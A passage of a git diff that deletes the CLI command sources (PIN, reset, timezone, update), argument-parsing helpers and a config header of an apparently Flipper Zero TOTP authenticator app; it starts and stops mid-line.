TOTP_CLI_COMMAND_PIN_ARG_NEW_CRYPTO_KEY_SLOT_PREFIX "-c" -#define TOTP_CLI_COMMAND_PIN_ARG_NEW_CRYPTO_KEY_SLOT "slot" - -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_pin_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_PIN " Set\\change\\remove PIN\r\n"); -} - -void totp_cli_command_pin_docopt_usage() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NAME " " TOTP_CLI_COMMAND_PIN - " " DOCOPT_REQUIRED(TOTP_CLI_COMMAND_PIN_COMMAND_SET " | " TOTP_CLI_COMMAND_PIN_COMMAND_REMOVE) " " DOCOPT_OPTIONAL( - DOCOPT_OPTION( - TOTP_CLI_COMMAND_PIN_ARG_NEW_CRYPTO_KEY_SLOT_PREFIX, - DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_PIN_ARG_NEW_CRYPTO_KEY_SLOT))) "\r\n"); -} - -void totp_cli_command_pin_docopt_options() { - TOTP_CLI_PRINTF( - " " DOCOPT_OPTION( - TOTP_CLI_COMMAND_PIN_ARG_NEW_CRYPTO_KEY_SLOT_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_PIN_ARG_NEW_CRYPTO_KEY_SLOT)) " New crypto key slot. Must be between %d and %d\r\n", - ACCEPTABLE_CRYPTO_KEY_SLOT_START, - ACCEPTABLE_CRYPTO_KEY_SLOT_END); -} -#endif - -static inline uint8_t totp_cli_key_to_pin_code(uint8_t key) { - uint8_t code = 0; - switch(key) { - case 0x44: // left - code = PinCodeArrowLeft; - break; - case 0x41: // up - code = PinCodeArrowUp; - break; - case 0x43: // right - code = PinCodeArrowRight; - break; - case 0x42: // down - code = PinCodeArrowDown; - break; - default: - break; - } - - return code; -} - -static bool totp_cli_read_pin(Cli* cli, uint8_t* pin, uint8_t* pin_length) { - TOTP_CLI_PRINTF("Enter new PIN (use arrow keys on your keyboard): "); - fflush(stdout); - uint8_t c; - *pin_length = 0; - while(cli_read(cli, &c, 1) == 1) { - if(c == CliSymbolAsciiEsc) { - uint8_t c2; - uint8_t c3; - if(cli_read_timeout(cli, &c2, 1, 0) == 1 && cli_read_timeout(cli, &c3, 1, 0) == 1 && - c2 == 0x5b) { - uint8_t code = totp_cli_key_to_pin_code(c3); - if(code > 0) { - pin[*pin_length] = code; - *pin_length = *pin_length + 1; - putc('*', stdout); - fflush(stdout); - } - } - } else if(c == CliSymbolAsciiETX) { - totp_cli_delete_current_line(); - TOTP_CLI_PRINTF_INFO("Cancelled by user\r\n"); - return false; - } else if(c == CliSymbolAsciiBackspace || c == CliSymbolAsciiDel) { - if(*pin_length > 0) { - *pin_length = *pin_length - 1; - pin[*pin_length] = 0; - totp_cli_delete_last_char(); - } - } else if(c == CliSymbolAsciiCR) { - cli_nl(); - break; - } - } - - totp_cli_delete_last_line(); - return true; -} - -void totp_cli_command_pin_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - UNUSED(plugin_state); - FuriString* temp_str = furi_string_alloc(); - - bool do_change = false; - bool do_remove = false; - uint8_t crypto_key_slot = plugin_state->crypto_settings.crypto_key_slot; - - bool arguments_parsed = true; - while(args_read_string_and_trim(args, temp_str)) { - if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_PIN_COMMAND_SET) == 0) { - do_change = true; - } else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_PIN_COMMAND_REMOVE) == 0) { - do_remove = true; - } else if( - furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_PIN_ARG_NEW_CRYPTO_KEY_SLOT_PREFIX) == - 0) { - if(!args_read_uint8_and_trim(args, &crypto_key_slot) || - !totp_crypto_check_key_slot(crypto_key_slot)) { - TOTP_CLI_PRINTF_ERROR("Slot \"%" PRIu8 "\" can not be used\r\n", crypto_key_slot); - arguments_parsed = false; - break; - } - } else { - totp_cli_print_invalid_arguments(); - arguments_parsed = false; - break; - } - } - - if(!(do_change || do_remove) || (do_change && do_remove)) { - totp_cli_print_invalid_arguments(); - arguments_parsed = false; - } - - if(arguments_parsed && totp_cli_ensure_authenticated(plugin_state, cli)) { - TOTP_CLI_LOCK_UI(plugin_state); - do { - uint8_t new_pin[CRYPTO_IV_LENGTH]; - memset(&new_pin[0], 0, CRYPTO_IV_LENGTH); - uint8_t new_pin_length = 0; - if(do_change) { - if(!totp_cli_read_pin(cli, &new_pin[0], &new_pin_length)) { - memset_s(&new_pin[0], CRYPTO_IV_LENGTH, 0, CRYPTO_IV_LENGTH); - break; - } - } else if(do_remove) { - new_pin_length = 0; - memset(&new_pin[0], 0, CRYPTO_IV_LENGTH); - } - - char* backup_path = totp_config_file_backup(plugin_state); - if(backup_path != NULL) { - TOTP_CLI_PRINTF_WARNING("Backup conf file %s has been created\r\n", backup_path); - TOTP_CLI_PRINTF_WARNING( - "Once you make sure everything is fine and works as expected, please delete this backup file\r\n"); - free(backup_path); - } else { - memset_s(&new_pin[0], CRYPTO_IV_LENGTH, 0, CRYPTO_IV_LENGTH); - TOTP_CLI_PRINTF_ERROR( - "An error has occurred during taking backup of config file\r\n"); - break; - } - - TOTP_CLI_PRINTF("Encrypting...\r\n"); - - bool update_result = totp_config_file_update_encryption( - plugin_state, crypto_key_slot, new_pin, new_pin_length); - - memset_s(&new_pin[0], CRYPTO_IV_LENGTH, 0, CRYPTO_IV_LENGTH); - - totp_cli_delete_last_line(); - - if(update_result) { - if(do_change) { - TOTP_CLI_PRINTF_SUCCESS("PIN has been successfully changed\r\n"); - } else if(do_remove) { - TOTP_CLI_PRINTF_SUCCESS("PIN has been successfully removed\r\n"); - } - } else { - totp_cli_print_error_updating_config_file(); - } - - } while(false); - - TOTP_CLI_UNLOCK_UI(plugin_state); - } - - furi_string_free(temp_str); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/pin/pin.h b/applications/external/totp/cli/commands/pin/pin.h deleted file mode 100644 index 708353565..000000000 --- a/applications/external/totp/cli/commands/pin/pin.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../config/app/config.h" - -#define TOTP_CLI_COMMAND_PIN "pin" - -void totp_cli_command_pin_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_pin_docopt_commands(); -void totp_cli_command_pin_docopt_usage(); -void totp_cli_command_pin_docopt_options(); -#endif diff --git a/applications/external/totp/cli/commands/reset/reset.c b/applications/external/totp/cli/commands/reset/reset.c deleted file mode 100644 index a02bc0eb0..000000000 --- a/applications/external/totp/cli/commands/reset/reset.c +++ /dev/null @@ -1,42 +0,0 @@ -#include "reset.h" - -#include -#include -#include "../../cli_helpers.h" -#include "../../../ui/scene_director.h" -#include "../../../services/config/config.h" - -#define TOTP_CLI_RESET_CONFIRMATION_KEYWORD "YES" - -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_reset_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_RESET - " Reset application to default settings\r\n"); -} - -void totp_cli_command_reset_docopt_usage() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_NAME " " TOTP_CLI_COMMAND_RESET "\r\n"); -} -#endif - -void totp_cli_command_reset_handle(PluginState* plugin_state, Cli* cli) { - TOTP_CLI_LOCK_UI(plugin_state); - TOTP_CLI_PRINTF_WARNING( - "As a result of reset all the settings and tokens will be permanently lost.\r\n"); - TOTP_CLI_PRINTF_WARNING("Do you really want to reset application?\r\n"); - TOTP_CLI_PRINTF_WARNING("Type \"" TOTP_CLI_RESET_CONFIRMATION_KEYWORD - "\" and hit to confirm:\r\n"); - FuriString* temp_str = furi_string_alloc(); - bool is_confirmed = totp_cli_read_line(cli, temp_str, false) && - furi_string_cmpi_str(temp_str, TOTP_CLI_RESET_CONFIRMATION_KEYWORD) == 0; - furi_string_free(temp_str); - if(is_confirmed) { - totp_config_file_reset(plugin_state); - TOTP_CLI_PRINTF_SUCCESS("Application has been successfully reset to default.\r\n"); - TOTP_CLI_PRINTF_SUCCESS("Now application will be closed to apply all the changes.\r\n"); - totp_cli_force_close_app(plugin_state->event_queue); - } else { - TOTP_CLI_PRINTF_INFO("Action was not confirmed by user\r\n"); - TOTP_CLI_UNLOCK_UI(plugin_state); - } -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/reset/reset.h b/applications/external/totp/cli/commands/reset/reset.h deleted file mode 100644 index 7f48aa10b..000000000 --- a/applications/external/totp/cli/commands/reset/reset.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../config/app/config.h" - -#define TOTP_CLI_COMMAND_RESET "reset" - -void totp_cli_command_reset_handle(PluginState* plugin_state, Cli* cli); -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_reset_docopt_commands(); -void totp_cli_command_reset_docopt_usage(); -#endif diff --git a/applications/external/totp/cli/commands/timezone/timezone.c b/applications/external/totp/cli/commands/timezone/timezone.c deleted file mode 100644 index af5db6e6e..000000000 --- a/applications/external/totp/cli/commands/timezone/timezone.c +++ /dev/null @@ -1,54 +0,0 @@ -#include "timezone.h" -#include -#include "../../../services/config/config.h" -#include "../../../ui/scene_director.h" -#include "../../cli_helpers.h" - -#define TOTP_CLI_COMMAND_TIMEZONE_ARG_TIMEZONE "timezone" - -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_timezone_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_TIMEZONE ", " TOTP_CLI_COMMAND_TIMEZONE_ALT - " Get or set current timezone\r\n"); -} - -void totp_cli_command_timezone_docopt_usage() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NAME - " " DOCOPT_REQUIRED(TOTP_CLI_COMMAND_TIMEZONE " | " TOTP_CLI_COMMAND_TIMEZONE_ALT) " " DOCOPT_OPTIONAL( - DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_TIMEZONE_ARG_TIMEZONE)) "\r\n"); -} - -void totp_cli_command_timezone_docopt_arguments() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_TIMEZONE_ARG_TIMEZONE - " Timezone offset in hours to be set\r\n"); -} -#endif - -void totp_cli_command_timezone_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - FuriString* temp_str = furi_string_alloc(); - if(args_read_string_and_trim(args, temp_str)) { - char* strtof_endptr; - float tz = strtof(furi_string_get_cstr(temp_str), &strtof_endptr); - if(*strtof_endptr == 0 && tz >= -12.75f && tz <= 12.75f) { - TOTP_CLI_LOCK_UI(plugin_state); - plugin_state->timezone_offset = tz; - if(totp_config_file_update_timezone_offset(plugin_state)) { - TOTP_CLI_PRINTF_SUCCESS("Timezone is set to %f\r\n", (double)tz); - } else { - totp_cli_print_error_updating_config_file(); - } - TOTP_CLI_UNLOCK_UI(plugin_state); - } else { - TOTP_CLI_PRINTF_ERROR("Invalid timezone offset\r\n"); - } - } else { - TOTP_CLI_PRINTF_INFO( - "Current timezone offset is %f\r\n", (double)plugin_state->timezone_offset); - } - furi_string_free(temp_str); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/timezone/timezone.h b/applications/external/totp/cli/commands/timezone/timezone.h deleted file mode 100644 index 1a697f067..000000000 --- a/applications/external/totp/cli/commands/timezone/timezone.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../config/app/config.h" - -#define TOTP_CLI_COMMAND_TIMEZONE "timezone" -#define TOTP_CLI_COMMAND_TIMEZONE_ALT "tz" - -void totp_cli_command_timezone_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_timezone_docopt_commands(); -void totp_cli_command_timezone_docopt_usage(); -void totp_cli_command_timezone_docopt_arguments(); -#endif diff --git a/applications/external/totp/cli/commands/update/update.c b/applications/external/totp/cli/commands/update/update.c deleted file mode 100644 index 5c1553d87..000000000 --- a/applications/external/totp/cli/commands/update/update.c +++ /dev/null @@ -1,177 +0,0 @@ -#include "update.h" -#include -#include -#include "../../../types/token_info.h" -#include "../../../services/config/config.h" -#include "../../../services/convert/convert.h" -#include "../../cli_helpers.h" -#include "../../../ui/scene_director.h" -#include "../../common_command_arguments.h" - -#define TOTP_CLI_COMMAND_UPDATE_ARG_SECRET_PREFIX "-s" - -struct TotpUpdateContext { - FuriString* args; - Cli* cli; - const CryptoSettings* crypto_settings; -}; - -enum TotpIteratorUpdateTokenResultsEx { - TotpIteratorUpdateTokenResultInvalidSecret = 1, - TotpIteratorUpdateTokenResultCancelled = 2, - TotpIteratorUpdateTokenResultInvalidArguments = 3 -}; - -static bool totp_cli_try_read_name( - TokenInfo* token_info, - const FuriString* arg, - FuriString* args, - bool* parsed) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_ARG_NAME_PREFIX) == 0) { - if(!args_read_probably_quoted_string_and_trim(args, token_info->name) || - furi_string_empty(token_info->name)) { - totp_cli_printf_missed_argument_value(TOTP_CLI_COMMAND_ARG_NAME_PREFIX); - } else { - *parsed = true; - } - - return true; - } - - return false; -} - -static bool totp_cli_try_read_change_secret_flag(const FuriString* arg, bool* parsed, bool* flag) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_UPDATE_ARG_SECRET_PREFIX) == 0) { - *flag = true; - *parsed = true; - return true; - } - - return false; -} - -static TotpIteratorUpdateTokenResult - update_token_handler(TokenInfo* token_info, const void* context) { - const struct TotpUpdateContext* context_t = context; - - // Read optional arguments - FuriString* temp_str = furi_string_alloc(); - bool mask_user_input = true; - bool update_token_secret = false; - PlainTokenSecretEncoding token_secret_encoding = PlainTokenSecretEncodingBase32; - while(args_read_string_and_trim(context_t->args, temp_str)) { - bool parsed = false; - if(!totp_cli_try_read_name(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_algo(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_digits(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_duration(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_unsecure_flag(temp_str, &parsed, &mask_user_input) && - !totp_cli_try_read_change_secret_flag(temp_str, &parsed, &update_token_secret) && - !totp_cli_try_read_automation_features(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_plain_token_secret_encoding( - temp_str, context_t->args, &parsed, &token_secret_encoding)) { - totp_cli_printf_unknown_argument(temp_str); - } - - if(!parsed) { - furi_string_free(temp_str); - return TotpIteratorUpdateTokenResultInvalidArguments; - } - } - - if(update_token_secret) { - // Reading token secret - furi_string_reset(temp_str); - TOTP_CLI_PRINTF("Enter token secret and confirm with [ENTER]:\r\n"); - bool token_secret_read = totp_cli_read_line(context_t->cli, temp_str, mask_user_input); - totp_cli_delete_last_line(); - if(!token_secret_read) { - furi_string_secure_free(temp_str); - return TotpIteratorUpdateTokenResultCancelled; - } - - if(!token_info_set_secret( - token_info, - furi_string_get_cstr(temp_str), - furi_string_size(temp_str), - token_secret_encoding, - context_t->crypto_settings)) { - furi_string_secure_free(temp_str); - return TotpIteratorUpdateTokenResultInvalidSecret; - } - } - - furi_string_secure_free(temp_str); - - return TotpIteratorUpdateTokenResultSuccess; -} - -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_update_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_UPDATE " Update existing token\r\n"); -} - -void totp_cli_command_update_docopt_usage() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NAME - " " DOCOPT_REQUIRED(TOTP_CLI_COMMAND_UPDATE) " " DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_INDEX) " " DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_ALGO_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_ALGO))) " " DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_SECRET_ENCODING_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_SECRET_ENCODING))) " " DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_NAME_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_NAME))) " " DOCOPT_OPTIONAL( - DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_DIGITS_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_DIGITS))) " " DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_DURATION_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_DURATION))) " " DOCOPT_OPTIONAL(DOCOPT_SWITCH(TOTP_CLI_COMMAND_ARG_UNSECURE_PREFIX)) " " DOCOPT_OPTIONAL(DOCOPT_SWITCH(TOTP_CLI_COMMAND_UPDATE_ARG_SECRET_PREFIX)) " " DOCOPT_MULTIPLE(DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE)))) "\r\n"); -} - -void totp_cli_command_update_docopt_options() { - TOTP_CLI_PRINTF(" " DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_NAME_PREFIX, - DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_NAME)) " Token name\r\n"); - - TOTP_CLI_PRINTF(" " DOCOPT_SWITCH( - TOTP_CLI_COMMAND_UPDATE_ARG_SECRET_PREFIX) " Update token secret\r\n"); -} -#endif - -void totp_cli_command_update_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - - int token_number; - if(!args_read_int_and_trim(args, &token_number) || token_number <= 0 || - (size_t)token_number > totp_token_info_iterator_get_total_count(iterator_context)) { - totp_cli_print_invalid_arguments(); - return; - } - - TOTP_CLI_LOCK_UI(plugin_state); - - size_t previous_index = totp_token_info_iterator_get_current_token_index(iterator_context); - totp_token_info_iterator_go_to(iterator_context, token_number - 1); - - struct TotpUpdateContext update_context = { - .args = args, .cli = cli, .crypto_settings = &plugin_state->crypto_settings}; - TotpIteratorUpdateTokenResult update_result = totp_token_info_iterator_update_current_token( - iterator_context, &update_token_handler, &update_context); - - if(update_result == TotpIteratorUpdateTokenResultSuccess) { - TOTP_CLI_PRINTF_SUCCESS( - "Token \"%s\" has been successfully updated\r\n", - furi_string_get_cstr( - totp_token_info_iterator_get_current_token(iterator_context)->name)); - } else if(update_result == TotpIteratorUpdateTokenResultInvalidArguments) { - totp_cli_print_invalid_arguments(); - } else if(update_result == TotpIteratorUpdateTokenResultCancelled) { - TOTP_CLI_PRINTF_INFO("Cancelled by user\r\n"); - } else if(update_result == TotpIteratorUpdateTokenResultInvalidSecret) { - TOTP_CLI_PRINTF_ERROR("Token secret seems to be invalid and can not be parsed\r\n"); - } else if(update_result == TotpIteratorUpdateTokenResultFileUpdateFailed) { - totp_cli_print_error_updating_config_file(); - } - - totp_token_info_iterator_go_to(iterator_context, previous_index); - TOTP_CLI_UNLOCK_UI(plugin_state); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/update/update.h b/applications/external/totp/cli/commands/update/update.h deleted file mode 100644 index 6100f4b38..000000000 --- a/applications/external/totp/cli/commands/update/update.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../config/app/config.h" - -#define TOTP_CLI_COMMAND_UPDATE "update" - -void totp_cli_command_update_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_update_docopt_commands(); -void totp_cli_command_update_docopt_usage(); -void totp_cli_command_update_docopt_options(); -#endif \ No newline at end of file diff --git a/applications/external/totp/cli/common_command_arguments.c b/applications/external/totp/cli/common_command_arguments.c deleted file mode 100644 index c3129a157..000000000 --- a/applications/external/totp/cli/common_command_arguments.c +++ /dev/null @@ -1,141 +0,0 @@ -#include "common_command_arguments.h" -#include - -void totp_cli_printf_missed_argument_value(char* arg) { - TOTP_CLI_PRINTF_ERROR("Missed or incorrect value for argument \"%s\"\r\n", arg); -} - -void totp_cli_printf_unknown_argument(const FuriString* arg) { - TOTP_CLI_PRINTF("Unknown argument \"%s\"\r\n", furi_string_get_cstr(arg)); -} - -bool totp_cli_try_read_algo(TokenInfo* token_info, FuriString* arg, FuriString* args, bool* parsed) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_ARG_ALGO_PREFIX) == 0) { - if(!args_read_string_and_trim(args, arg)) { - totp_cli_printf_missed_argument_value(TOTP_CLI_COMMAND_ARG_ALGO_PREFIX); - } else if(!token_info_set_algo_from_str(token_info, arg)) { - TOTP_CLI_PRINTF_ERROR( - "\"%s\" is incorrect value for argument \"" TOTP_CLI_COMMAND_ARG_ALGO_PREFIX - "\"\r\n", - furi_string_get_cstr(arg)); - } else { - *parsed = true; - } - - return true; - } - - return false; -} - -bool totp_cli_try_read_digits( - TokenInfo* token_info, - const FuriString* arg, - FuriString* args, - bool* parsed) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_ARG_DIGITS_PREFIX) == 0) { - uint8_t digit_value; - if(!args_read_uint8_and_trim(args, &digit_value)) { - totp_cli_printf_missed_argument_value(TOTP_CLI_COMMAND_ARG_DIGITS_PREFIX); - } else if(!token_info_set_digits_from_int(token_info, digit_value)) { - TOTP_CLI_PRINTF_ERROR( - "\"%" PRIu8 - "\" is incorrect value for argument \"" TOTP_CLI_COMMAND_ARG_DIGITS_PREFIX - "\"\r\n", - digit_value); - } else { - *parsed = true; - } - - return true; - } - - return false; -} - -bool totp_cli_try_read_duration( - TokenInfo* token_info, - const FuriString* arg, - FuriString* args, - bool* parsed) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_ARG_DURATION_PREFIX) == 0) { - uint8_t duration_value; - if(!args_read_uint8_and_trim(args, &duration_value)) { - totp_cli_printf_missed_argument_value(TOTP_CLI_COMMAND_ARG_DURATION_PREFIX); - } else if(!token_info_set_duration_from_int(token_info, duration_value)) { - TOTP_CLI_PRINTF_ERROR( - "\"%" PRIu8 - "\" is incorrect value for argument \"" TOTP_CLI_COMMAND_ARG_DURATION_PREFIX - "\"\r\n", - duration_value); - } else { - *parsed = true; - } - - return true; - } - - return false; -} - -bool totp_cli_try_read_automation_features( - TokenInfo* token_info, - FuriString* arg, - FuriString* args, - bool* parsed) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE_PREFIX) == 0) { - if(!args_read_string_and_trim(args, arg)) { - totp_cli_printf_missed_argument_value(TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE_PREFIX); - } else if(!token_info_set_automation_feature_from_str(token_info, arg)) { - TOTP_CLI_PRINTF_ERROR( - "\"%s\" is incorrect value for argument \"" TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE_PREFIX - "\"\r\n", - furi_string_get_cstr(arg)); - } else { - *parsed = true; - } - - return true; - } - - return false; -} - -bool totp_cli_try_read_unsecure_flag(const FuriString* arg, bool* parsed, bool* unsecure_flag) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_ARG_UNSECURE_PREFIX) == 0) { - *unsecure_flag = false; - *parsed = true; - return true; - } - - return false; -} - -bool totp_cli_try_read_plain_token_secret_encoding( - FuriString* arg, - FuriString* args, - bool* parsed, - PlainTokenSecretEncoding* secret_encoding) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_ARG_SECRET_ENCODING_PREFIX) == 0) { - if(!args_read_string_and_trim(args, arg)) { - totp_cli_printf_missed_argument_value(TOTP_CLI_COMMAND_ARG_SECRET_ENCODING_PREFIX); - } else { - if(furi_string_cmpi_str(arg, PLAIN_TOKEN_ENCODING_BASE32_NAME) == 0) { - *secret_encoding = PlainTokenSecretEncodingBase32; - *parsed = true; - } else if(furi_string_cmpi_str(arg, PLAIN_TOKEN_ENCODING_BASE64_NAME) == 0) { - *secret_encoding = PlainTokenSecretEncodingBase64; - *parsed = true; - } else { - TOTP_CLI_PRINTF_ERROR( - "\"%s\" is incorrect value for argument \"" TOTP_CLI_COMMAND_ARG_SECRET_ENCODING_PREFIX - "\"\r\n", - furi_string_get_cstr(arg)); - } - } - - return true; - } - - return false; -} \ No newline at end of file diff --git a/applications/external/totp/cli/common_command_arguments.h b/applications/external/totp/cli/common_command_arguments.h deleted file mode 100644 index 0bf834225..000000000 --- a/applications/external/totp/cli/common_command_arguments.h +++ /dev/null @@ -1,106 +0,0 @@ -#pragma once -#include -#include "../types/token_info.h" -#include "cli_helpers.h" - -#define TOTP_CLI_COMMAND_ARG_NAME "name" -#define TOTP_CLI_COMMAND_ARG_NAME_PREFIX "-n" -#define TOTP_CLI_COMMAND_ARG_ALGO "algo" -#define TOTP_CLI_COMMAND_ARG_ALGO_PREFIX "-a" -#define TOTP_CLI_COMMAND_ARG_DIGITS "digits" -#define TOTP_CLI_COMMAND_ARG_DIGITS_PREFIX "-d" -#define TOTP_CLI_COMMAND_ARG_UNSECURE_PREFIX "-u" -#define TOTP_CLI_COMMAND_ARG_DURATION "duration" -#define TOTP_CLI_COMMAND_ARG_DURATION_PREFIX "-l" -#define TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE_PREFIX "-b" -#define TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE "feature" -#define TOTP_CLI_COMMAND_ARG_INDEX "index" -#define TOTP_CLI_COMMAND_ARG_SECRET_ENCODING_PREFIX "-e" -#define TOTP_CLI_COMMAND_ARG_SECRET_ENCODING "encoding" - -/** - * @brief Prints information about unknown argument - * @param arg - */ -void totp_cli_printf_unknown_argument(const FuriString* arg); - -/** - * @brief Prints information about missed required argument - * @param arg - */ -void totp_cli_printf_missed_argument_value(char* arg); - -/** - * @brief Tries to read token hashing algo - * @param token_info token info to set parsed algo to if successfully read and parsed - * @param arg argument to parse - * @param args rest of arguments - * @param[out] parsed will be set to \c true if token hashing algo sucecssfully read and parsed; \c false otherwise - * @return \c true if \c arg represents token hashing algo argument; \c false otherwise - */ -bool totp_cli_try_read_algo(TokenInfo* token_info, FuriString* arg, FuriString* args, bool* parsed); - -/** - * @brief Tries to read token digits count - * @param token_info token info to set parsed digits count to if successfully read and parsed - * @param arg argument to parse - * @param args rest of arguments - * @param[out] parsed will be set to \c true if token digits count sucecssfully read and parsed; \c false otherwise - * @return \c true if \c arg represents token digits count argument; \c false otherwise - */ -bool totp_cli_try_read_digits( - TokenInfo* token_info, - const FuriString* arg, - FuriString* args, - bool* parsed); - -/** - * @brief Tries to read token duration - * @param token_info token info to set parsed duration to if successfully read and parsed - * @param arg argument to parse - * @param args rest of arguments - * @param[out] parsed will be set to \c true if token duration sucecssfully read and parsed; \c false otherwise - * @return \c true if \c arg represents token duration argument; \c false otherwise - */ -bool totp_cli_try_read_duration( - TokenInfo* token_info, - const FuriString* arg, - FuriString* args, - bool* parsed); - -/** - * @brief Tries to read token automation features - * @param token_info token info to set parsed automation features to if successfully read and parsed - * @param arg argument to parse - * @param args rest of arguments - * @param[out] parsed will be set to \c true if token automation features sucecssfully read and parsed; \c false otherwise - * @return \c true if \c arg represents token automation features argument; \c false otherwise - */ -bool totp_cli_try_read_automation_features( - TokenInfo* token_info, - FuriString* arg, - FuriString* args, - bool* parsed); - -/** - * @brief Tries to read unsecure flag - * @param arg argument to parse - * @param[out] parsed will be set to \c true if unsecure flag sucecssfully read and parsed; \c false otherwise - * @param[out] unsecure_flag will be set to parsed unsecure flag state if read and parsed successfully - * @return \c true if \c arg represents unsecure flag argument; \c false otherwise - */ -bool totp_cli_try_read_unsecure_flag(const FuriString* arg, bool* parsed, bool* unsecure_flag); - -/** - * @brief Tries to read plain token secret encoding - * @param arg argument to parse - * @param args rest of arguments - * @param[out] parsed will be set to \c true if plain token secret encoding sucecssfully read and parsed; \c false otherwise - * @param[out] secret_encoding will be set to parsed plain token secret encoding if read and parsed successfully - * @return \c true if \c arg represents plain token secret encoding argument; \c false otherwise - */ -bool totp_cli_try_read_plain_token_secret_encoding( - FuriString* arg, - FuriString* args, - bool* parsed, - PlainTokenSecretEncoding* secret_encoding); \ No newline at end of file diff --git a/applications/external/totp/config/app/config.h b/applications/external/totp/config/app/config.h deleted file mode 100644 index 8c5fc1314..000000000 --- a/applications/external/totp/config/app/config.h +++ /dev/null @@ -1,42 +0,0 @@ -// Application automatic lock timeout if user IDLE. (ticks) -#ifndef TOTP_AUTO_LOCK_IDLE_TIMEOUT_SEC -#define TOTP_AUTO_LOCK_IDLE_TIMEOUT_SEC (60) -#endif - -// Enables\disables Bluetooth token input automation -#ifndef TOTP_NO_BADBT_AUTOMATION -#define TOTP_BADBT_AUTOMATION_ENABLED -#endif - -// Enables\disables backward compatibility with crypto algorithms v1 -#ifndef TOTP_NO_OBSOLETE_CRYPTO_V1_COMPATIBILITY -#define TOTP_OBSOLETE_CRYPTO_V1_COMPATIBILITY_ENABLED -#endif - -// Enables\disables backward compatibility with crypto algorithms v2 -#ifndef TOTP_NO_OBSOLETE_CRYPTO_V2_COMPATIBILITY -#define 